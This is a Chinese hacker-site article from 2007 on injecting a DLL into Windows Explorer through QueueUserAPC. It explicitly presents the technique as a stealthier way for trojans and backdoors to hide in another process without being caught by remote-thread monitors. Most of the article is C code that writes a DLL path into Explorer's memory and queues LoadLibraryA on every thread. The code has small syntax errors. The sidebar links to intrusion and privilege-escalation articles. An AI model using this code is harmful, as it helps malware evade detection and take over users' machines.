木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。 ">
黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]暴力注入Explorer详细解析
      ★★★★★

暴力注入Explorer详细解析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-2-3 9:45:05
向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。 


用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加载自己的dll。 


首先提到的就是一个API:QueueUserAPC 


DWORD QueueUserAPC( 

PAPCFUNC pfnAPC, // APC function 

HANDLE hThread, // handle to thread 

ULONG_PTR dwData // APC function parameter ; 


大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。 


实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。 


比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:   ...... 

DWORD ret; 

char *DllName = "c:\\MyDll.dll"; 

int len = strlen(DllName) + 1; 

PVOID param = VirtualAllocEx(hProcess, NULL, len, 

MEM_COMMIT | MEM_TOP_DOWN, 

PAGE_READWRITE); 

if (param != NULL) 



if (WriteProcessMemory(hProcess, param, 

(LPVOID)DllName, len, &ret)) 



for (DWORD p = 0; p < NumberOfThreads; p ++) 



hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]); 

if (hThread != 0) 



InjectDll(hProcess, hThread, (DWORD)param); 

CloseHandle(hThread); 







...... 

其中InjectDll: 

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) 



QueueUserAPC( 

(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA", 

hThread, 

(DWORD)param 



文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886